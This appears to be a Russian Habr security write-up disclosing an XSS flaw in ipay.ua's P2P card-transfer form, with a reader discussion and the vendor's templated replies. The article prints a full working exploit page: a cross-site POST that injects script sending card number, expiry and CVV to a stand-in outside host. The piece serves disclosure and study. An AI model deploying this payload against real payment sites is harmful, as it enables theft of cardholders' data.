Эксплуатируем XSS уязвимость на сайте ipay.ua для кражи карточных данных

    Продолжая пентестинг отечественных платежных систем, я остановился на довольно популярном в Украине платежном сервисе ipay.ua.

    Меня интересовало, на сколько PCI DSS сертификация платежными системами и проводимое ими ежеквартальное ASV-сканирование (в том числе на наличие XSS уязвимостей) гарантирует защиту данных клиентов.

    Моё внимание привлекла форма p2p переводов по адресу www.ipay.ua/ru/p2p. Проверяя форму на фильтрацию вводимых данных, я добрался до поля для комментария (оно по умолчанию скрыто, что бы оно появилось, нужно поставить курсор в поле «Телефон получателя»). Как обычно, для первичной проверки, начал вводить текст:
    <script>alert('XSS!')
    
    … И только я закрыл скобку, как увидел на экране модальное окно с сообщением.


    Мне стала интересна причина такого поведения страницы и я полез в её содержимое.
    Проанализировав javascript код я понял, что виной был следующий кусок:
        $("textarea[name='comment']").keyup(function() {
            comment = $(this).val();
            $("textarea[name='comment']").html(comment);        
            validComment();
        });
    

    А точнее, виной стало незнание разработчика, что jQuery конструктор или метод, который принимает на вход HTML строку, может потенциально выполнить код.


    Ссылка на описание метода html()

    Далее мне захотелось реализовать способ эксплуатации данной уязвимости, что бы стала возможной кража вводимых карточных данных, а точнее, отправка этих данных на сторонний сервер.

    Анализируя работу страницы для p2p переводов, я обнаружил, что можно при помощи POST запроса сформировать частично заполненную форму, подставив в поле комментария javascript код, который так же не валидировался на сервере (двойной фэйл разработчиков)

    Я создал html страничку со следующим содержимым:



    Отправив данные на сервер, я получил форму с заполненным полем для комментария.



    Теперь для того, что бы внедренный javascript код выполнился, достаточно начать редактировать содержимое поля(спасибо функции .keyup() библиотеки jQuery ).

    Осталось дело за малым: сформировать должным образом передаваемый javascript код, что бы он отправлял данные формы на сторонний сайт.

    Содержимое моей html странички приобрело следующий вид:

    <html>
    <body>
    <form action="https://www.ipay.ua/ru/p2p" method="post">
    <input type="hidden" name="gate" value="P2pUpc"/>
    <input type="hidden" name="policy" value="1"/>
    <input type="hidden" name="cvv" value="123"/>
    <input type="hidden" name="amount" value="100"/>
    <input type="hidden" name="senderPan1" value="4444"/>
    <input type="hidden" name="senderPan2" value="5555"/>
    <input type="hidden" name="senderPan3" value="6666"/>
    <input type="hidden" name="senderPan4" value="1111"/>
    <input type="hidden" name="expMon" value="01"/>
    <input type="hidden" name="expYear" value="18"/>
    <input type="hidden" name="transfer-send" value="Выполнить перевод"/>
    <input type="hidden" name="comment" value="
    	<script>
    	$.post('https://someverydangeroussite/ajax/saveData.php',{
    		pan1:$('input[name=senderPan1]').val(), 
    		pan2:$('input[name=senderPan2]').val(), 
    		pan3:$('input[name=senderPan3]').val(), 
    		pan4:$('input[name=senderPan4]').val(), 
    		expMon:$('input[name=expMon]').val(), 
    		expYear:$('input[name=expYear]').val(), 
    		cvv:$('input[name=cvv]').val()});
    	</script>"/>
    <input type="submit"/>
    </form>
    </body>
    </html>
    

    Карточные данные в форме я заполнил заранее для простоты демонстрации.

    Теперь отправив эти данные на сервер ipay.ua, получим форму для p2p перевода, заполнив которую, наша жертва при попытке редактирования комментария (например при его удалении), отправит свои карточные данные на сторонний сервер:


    Таким образом злоумышленнику достаточно разместить на своём сайте ссылку под видом рекламы p2p переводов и перенаправить POST запросом пользователя на страницу https://www.ipay.ua/ru/p2p с внедренным зловредным кодом, чтобы иметь возможность украсть данные карты жертвы.

    Я, естественно, сообщил о данной уязвимости в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной.

    Но по истечении 3 недель со мной ни кто так и не связался, а уязвимость так и остаётся открытой.

    Поэтому цель данной статьи не только показать один из вариантов эксплуатации XSS уязвимости, но и как можно быстрее донести информацию о её наличии до ответственных лиц в компании Ipay.ua
    Поделиться публикацией
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 61
    • +49
      Жесть. Позвонил им и задал вопрос в поддержке — будут ли они принимать меры или мне искать другой сервис. Сказали что у них все защищено, а любые статьи — происки конкурентов. То есть из серии -«Я закрыл глаза и меня теперь не видно».

      Пошел искать новый сервис.
      • НЛО прилетело и опубликовало эту надпись здесь
        • –19
          Никита,
          мы ценим каждого клиента.
          Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично. Мы очень благодарны Автору за данную статью, которая ускорила выполнения данной задачи.
          Наши специалистами службы информационной безопасности компании еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации Автора описанные в статье частично выполнил. С момента обращения автора статьи и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено.

          С уважением iPay.ua
        • +12
          Происки конкурентов
          А вы действительно думали, что «call-center-girl» может вам дать квалифицированый ответ про XSS и прочее. У нее в программе такое не предусмотрено.

          По теме же, проглядел мельком страничку — охватил тихий ужас: и это платежный сервис? Я просто промолчу, что у них даже заголовки типа X-Frame-Options, X-XSS-Protection и прочее не проставлены, про проверку referer, про «старый» софт с убунтой на сервере, про ...
          Блин, проговорился таки.

          Жую попкорн и жду развития событий, например угроз уважаемому dinikin, все дела… и наплыва черных ресерчеров.
          • +10
            Плохо, что не предусмотрено. Call-center-girl должна внимательно выслушать и записать всё, что ей скажут по поводу уязвимости и передать техдиру. То же касается любых саппортов.
            • +3
              Call-center-girl должна внимательно выслушать и записать всё, что ей скажут по поводу уязвимости и передать техдиру.

              Да-да-да, а еще предложить вам на свидание пойти, вы же такой крутой кулхацкер…

              Идеальные (call)центры вряд ли бывают, однако делать оценку «они нифига не предпринимают» (хотя возможно это на самом деле так) на основании ответа «глупой» девочки — как минимум не есть правильно.
              Вот то, что они сообщение автора, судя по всему, всерьез не восприняли — это показатель. Как у них сайт сделан — тоже показатель. А девочка за телефоном, она на то и посажена, чтобы всех звонящих «успокоить».
              Это во первых.

              Во вторых, с чего вы взяли, что она не «выслушала», не «записала» и «не передала». Только потому, что она про это вслух не сказала?
              • 0
                К сожалению, квалифицированный саппорт попадается все реже. Причем, это касается не только нашего, но и западного рынка. Шаг в сторону и все — ноль на массу и никакой удобоваримой информации по проблеме.
            • –11
              Добрый вечер.

              Алексей,
              спасибо за Ваш звонок в поддержку, он был очень важен для нас и позволил очень оперативно закрыть таск по обращению автора статьм и статье автора в течение сегодняшнего дня. Мы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации автора частично выполнили. Спасибо сообществу и лично Вам за интерес к нашему сайту и безопасности наших клиентов. С момента обращения автора статьи и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено. С сотрудниками Контакт-Центра провели дополнительную работу. Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично. Будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.

              С уважением iPay.ua
              • +9
                позволю себе привести пару цитат

                >… в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной. Но по истечении 3 недель (!!!) со мной ни кто так и не связался, а уязвимость так и остаётся открытой.

                > Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут.

                -----!

                А так да, конечно, спасибо за звонок, ОН ОЧЕНЬ ВАЖЕН ДЛЯ НАС, бла-бла-бла
                • –24
                  Уважаемый achempion,
                  Task по обращению Автора статьи (3 недельной давности) об уязвимости в саппорт был зарегистрирован, выставлен на IT разработчиков и поставлен в очередь на исполнение с момента обращения Автора статьи в сервис iPay.ua. Мы очень благодарны Автору за данную статью, которая ускорила выполнения данной задачи.
                  Наши специалистами службы информационной безопасности компании еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации Автора описанные в статье частично выполнил.

                  С уважением iPay.ua
                  • +33
                    Так, к слову: завязывали бы вы на Хабре шаблонами отвечать. Это вам не ваш support, здесь так не отвяжетесь от пользователя
                    • –9
                      Зелимхан,

                      мы не стремимся отвязаться от сообщества и не для этого отвечаем на вопросы, даём комментарии и устраняем описаные Автором в статье рекомендации.
                      • +3
                        А зачем слово «автор» вы пишите с большой буквы? Вы бы ещё «АВТОР» писали.
                • +4
                  То есть вас ничего не смущает в том, что критическая уязвимость — а возможность своровать данные карт, очевидно, является наиболее критической из возможных — закрывается три недели?

                  Ещё я бы с огромным интересом почитал, каким таким образом вы выяснили, что компроментаций карт не было. У вас все POST-запросы за три недели логируются?
                • 0
                  Аналогично. Хотя, наверное, такой ответ и стоило ожидать…
                • 0
                  Не вижу поля для комментария на странице, убрали уже?
                  • 0
                    Поставьте курсор в поле «Телефон получателя»
                    • 0
                      Вы правы, спасибо.
                  • +3
                    Автор топика отправлят те же данные что прислал сам. Логично было бы обренуть отправку в конструкцию типа:
                    $( 'input1, input2,...' ).change(function() {
                    • +6
                      Похоже, что уже исправили.
                      Публичная огласка крайне эффективна.
                      • +5
                        Да, частично закрыли, но XSS на странице пока присутствует.
                        • +3
                          Да, пару костылей вставили: отключили вставку в поле из буфера обмена, и стирают некоторые символы (вроде < и /) на keyup.
                      • +34
                        Что делать, если у меня номер телефона «DROP DATABASE...»?
                        • +1
                          Хабраэффект в разгаре =)
                          • +5
                            Увы, проблема финансовых компаний и банков в том, что они истинно веруют в аудиторскую часть 27001/PSI-DSS/Cobit, забивая на практическую часть этих же стандартов и рекомендаций, особенно в плане периодических пентестов.
                            В итоге в каждой «солидной» финансовой организации обязательно сидит свой безопасник, а то и два, жмякает раз в неделю на акунетикс, сканируя тот список узлов, который сам впишет, и создает красивый отчет для имитации бурной деятельности.
                            То, что эта деятельность далека от практической безопасности, понимают единицы в такой «солидной» финансовой организации, но их либо не слушают, либо они не хотят нести ответственность за новые расходы, которые нужно ещё обосновать и выбить.
                            В итоге имеем ту самую бумажную «безопасность», обвешанную сертификатами и бумажками, а с практикой фейл.
                            • 0
                              Так периодические пентесты (не менее раз в год) по PCI DSS надо делать в качестве обязаловки только с 30.06.2015, читайте — с 1-го июля. А до этого — рекомендация, и для прохождения на соответствие предоставление результатов пентеста не нужно, хватает ежеквартального ASV. Раз не обязательно — никто и не почешется, не такое уж и дешевое удовольствие (и самое главное, в некоторых случаях — не такое уж безболезненное удовольствие :) ) заказывать пентест у сторонней организации при отсутствии в штате «своих» пентестеров.
                            • –20
                              Добрый вечер.
                              Уважаемый Автор (dinikin) и сообщество, в первую очередь от лица компании iPay.ua хотим поблагодарить Вас за проявленный интерес к сервису «денежных переводов с карты на карту» и его непосредственное тестирование на уязвимость.
                              Task по Вашему обращению об уязвимости в саппорт был зарегистрирован, выставлен на IT разработчиков и поставлен в очередь на исполнение с момента обращения в сервис iPay.ua. Мы очень благодарны Вам за данную статью, которая ускорила выполнения задачи.
                              Мы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но Ваши рекомендации частично выполнили. Спасибо сообществу за интерес к нашему сайту и безопасности наших клиентов.
                              С момента Вашего обращения и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено.
                              Будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.
                              Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично.

                              Наш официальный комментарий к статье размещён www.ipay.ua/ru/news/podtverjdenie-bezopasnosti-servisa-ipay-ua
                              С уважением сотрудники iPay.ua
                              • +14
                                Уважаемый mao1985! По моему мнению, ваш ответ наполнен вежливым текстом, но лишен здравого смысла.

                                dinikin очень детально и наглядно продемонстрировал использование уязвимости, но мне не понятно что вы имели ввиду под
                                Мы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили

                                • 0
                                  Типичный ответ от такого сервиса. Я лично удивился бы, если что-то другое увидел.

                                  Сейчас же компаниям главное показать типичным пользователям, что всё в порядке, можно и дальше их сервисом пользоваться, нежели признать наличие уязвимости и то, что их пользователи всё это время были под угрозой
                                  • –12
                                    Зелимхан,

                                    мы умеем не только признавать ошибки, но и прислушиваться к рекомендациям и выполнять их.

                                    С момента обращения Автора и публикации статьи — фактов компрометации карт на сайте iPay.ua не было.

                                    • +4
                                      Тогда мне непонятно, почему уязвимости, которые очевидно угрожают безопасности платежных карт болтаются 3 недели в очереди?
                                      • +12
                                        Попросите там у себя в компании Вас уволить и прислать сюда живого человека, способного разговаривать не по методичке.
                                        • +4
                                          Вежливость не всегда плохо, ну не выявили фактов компрометации. Все равно видно, что техподдержка явно не может исправить ошибку, а отвечать ей что-то надо, но, конечно, иногда лучше ничего не отвечать…
                                    • –12
                                      SilverFire, я имел ввиду что, специалистами службы информационной безопасности компании iPay.ua была проведена оценка потенциальной угрозы по факту обращения Автора первый раз и сегодня по факту публикации статьи и методов их эксплуатации не выявили. Но рекомендации Автора описанные в статье частично сегодня в оперативном порядке были выполнены.
                                      • +6
                                        проведена оценка потенциальной угрозы

                                        Потенциальная угроза очевидна — слив номера карты, срока действия, cvv кода.

                                        Вы говорите, что:
                                        методов их эксплуатации не выявили

                                        Как по мне, метод — это последовательность шагов, которые нужно выполнить, чтобы добиться результата. Результат — угон данных карточки. Шаги со скринами в статье. Вы хотите сказать, что поле комментарий не было подвержено уязвимости XSS?
                                        • –15
                                          SilverFire, XSS не является уязвимостью, об этом уже было проговорено на хабре — habrahabr.ru/post/149152
                                          В данной же статье описана возможность сбора карт при подмене ресурса фишинговым сайтом. А в таком случае это уже уголовная статья, и мы постоянно проводим мониторинг откуда идёт трафик и мы не раздаём ссылки на данный сервис на право и на лево. Поэтому после оценки угрозы, задача была поставлена в очередь на выполнение.
                                          • +16
                                            Вы вероятно невнимательно читали статью. Подмены ресурса не происходит, зловредный код выполняется на вашем сайте.
                                            • –15
                                              dinikin, мы очень внимательно читали Вашу статью, раза по 2 минимум, поставил бы смайл — да запрещено Хабром. Все сотрудники компании iPay.ua перечитали, а некоторые перечитывали её по 3-4 раза в профилактических целях.

                                              Чтобы запустить зловредный код встроенный нам в сервис — клиент/пользователь должен был попасть с страницы злоумышленника (сторонний сайт) это тоже уголовка и мы мониторим заходы на сайт постоянно (трафик, подозрительный трафик), и блочим ресурсы, страницы… Или Ваш код запускался не при переходе на страницу p2p с сторонней страницы (специального фишингового банера)?

                                              Ваши некоторые рекомендации сегодня были выполнены, за них отдельное огромная благодарность. И насколько меня заверили наши программисты и безопасники — сейчас всё ещё более безопасно, чем было. Мы будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.
                                              • +5
                                                Простите, а вы когда-нибудь в жизни имели дело с расследованиями кибератак и розыском взломщиков-злоумышленников? Вы представляете себе, какова вероятность найти преступника в данном случае, будь то «уголовка» или что угодно?
                                                • +1
                                                  Присоединяюсь к вопросу. Вы будете знать HTTP referer, где была размещена ссылка (какой-то форум) и IP жертвы.
                                                  Кого вы сможете привлечь к ответственности? Пользователя форума, который опубликовал ссылку, сидя за китайской прокси?

                                                  ИМХО, жертве реальнее привлечь вас к ответственности, так как данные были слиты в следствие выполнения вредоносного кода на вашем сайте.
                                                • +1
                                                  Извините, если я нахожусь вне Украины — то как вы по отношению ко мне примените эту уголовку?
                                                  И почему, если я попадаю со стороннего сайта на вашу платежную систему (например, с интернет-магазина, где выбрал в качестве способа оплаты вашу платежную систему, после чего меня на нее перекидывает, а в поле «комментарий» автоматом подставляется какой-то код, позволяющий мне, как владельцу магазина, идентифицировать ваш платеж и отправить вам товар) — это уголовка?
                                                  Да я еще на сайте крупно пропишу, что-то вроде «Уважаемый покупатель! Для однозначной идентификации вашего платежа не стирайте код вашей покупки в поле комментария платежной системы! Также, в этом поле вы должны указать (<что-то важное, чтобы пользователь точно вписал>)». Готово — большая часть пользователей выполнит инструкцию. А вот то, что выполнится зловредный код на вашем сайте — это уже ваши проблемы… И это, безусловно, уязвимость.
                                                  Ваши безопасники, ради интереса, пробовали CVSS по этой проблеме подсчитать? Базовую оценку.
                                                  • 0
                                                    А с помощью чего вы отслеживаете источники входа?

                                                    Судя по происходящему, есть мало-мальски настроенный Google Analytics, в котором, вероятно, вы и мониторите входы.
                                                    Что будет если я банально пропишу utm-метки в источнике трафика и канале?

                                                    image

                                                    Заменив fake_google на google в статистике будет невозможно отличить любой реферральный переход от органического с google.
                                                • +3
                                                  mao1985, действительно, тут можно маневрировать с термином «уязвимость». Нужно еще чуток заморочиться, чтобы загнать жертву на страницу оплаты, где она доведет транзакцию до конца, но как proof-of-concept — очень даже хорошо.

                                                  при подмене ресурса фишинговым сайтом

                                                  Ведь речь идет не о подмене iPay фишинговым сайтом. Достаточно отправить к вам пользователя с определенными данными.
                                                  • +2
                                                    Пфф. просто провередите эксперемент, дайте ему ссылку по которой кидает дальше на сайт оплаты. Пусть он введет данные своей карточки и потом узнаем получилось ли увести данные или нет. Если он так уверен, что все безопасно.
                                        • +6
                                          Жесть, а я же платил через ваш сервис. А ваше отношение к безопасности меня отпугнуло. Если вам описали такую дыру и вы за три недели даже не удосужились ее закрыть, что будет с теми дырами в которые вам не ткнут носом и не напишут на сайте?
                                          • +5
                                            Замечательно у них поставлен PR в компании. По тем же принципам бумажных стандартов и без включения мозга? Я к тому, что количество копипасты в комментариях от товарища mao1985 зашкаливает за любые разумные пределы.
                                            • +6
                                              Кстати, а вообще какие есть доказательства что он сотрудник iPay.ua? Может быть он тупо троллит?
                                              • +4
                                                Тогда это тролль 80-го лвла, раз так спокойно себе карму сливает
                                            • 0
                                              Кто-нибудь понимает, в чём смысл вот этих слов: «С момента Вашего обращения и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено»? Имеется в виду момент длиной в три недели?
                                              • +8
                                                А зачем вообще в этом поле комментария вешать обработчик на каждое нажатие кнопки? О_о
                                                • +3
                                                  В нашей реальности можно радоваться, что не «догнали и еще раз не вознаградили»… =( Не так давно была статья, что за аналогичное сообщение в банк автора выставили, как злоумышленника, вместо спасибо. Так что не удивлюсь.
                                                  • +2
                                                    В нашей реальности можно радоваться, что не «догнали и еще раз не вознаградили»… =( Не так давно была статья, что за аналогичное сообщение в банк автора выставили, как злоумышленника, вместо спасибо. Так что не удивлюсь.
                                                    • +3
                                                      Прошу прощения за дублирование поста,
                                                      • +1
                                                        Да, не переживай. Второй раз даже лучше получилось.
                                                    • +3
                                                      В данный момент сайт не работает и висит сообщение «Уважаемый Клиент, сайт iPay.ua временно недоступен. Приносим извинения за временные неудобства, в ближайшее время сайт возобновит свою работу.»
                                                      Так что может все же решили исправить проблемы найденные автором…
                                                      • 0
                                                        Либо решили прикрыть на время хайпа, чтобы не нашли дырку получше
                                                        • +2
                                                          Вероятно информация дошла до компетентного соотрудника или начальства.
                                                        • 0
                                                          А как вы обойдете sameOrigin полиси для отправки данных на сторону? Через CORS?
                                                          • 0
                                                            Same-origin policy для XMLHttpRequest ограничивает только чтение ответа от стороннего домена, отправку данных она не ограничивает.
                                                            • 0
                                                              То есть как не ограничивает? Если из браузера идёт XHR на домен, то сначала сам браузер делает запрос OPTIONS и смотрит на CORS-заголовки, и если сервер не разрешает, то XHR зафейлится сразу, никакого запросы отправлено не будет.
                                                              • 0
                                                                да, верно, тогда либо выставлять на домене CORS-заголовки, либо слать данные GET запросом

                                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.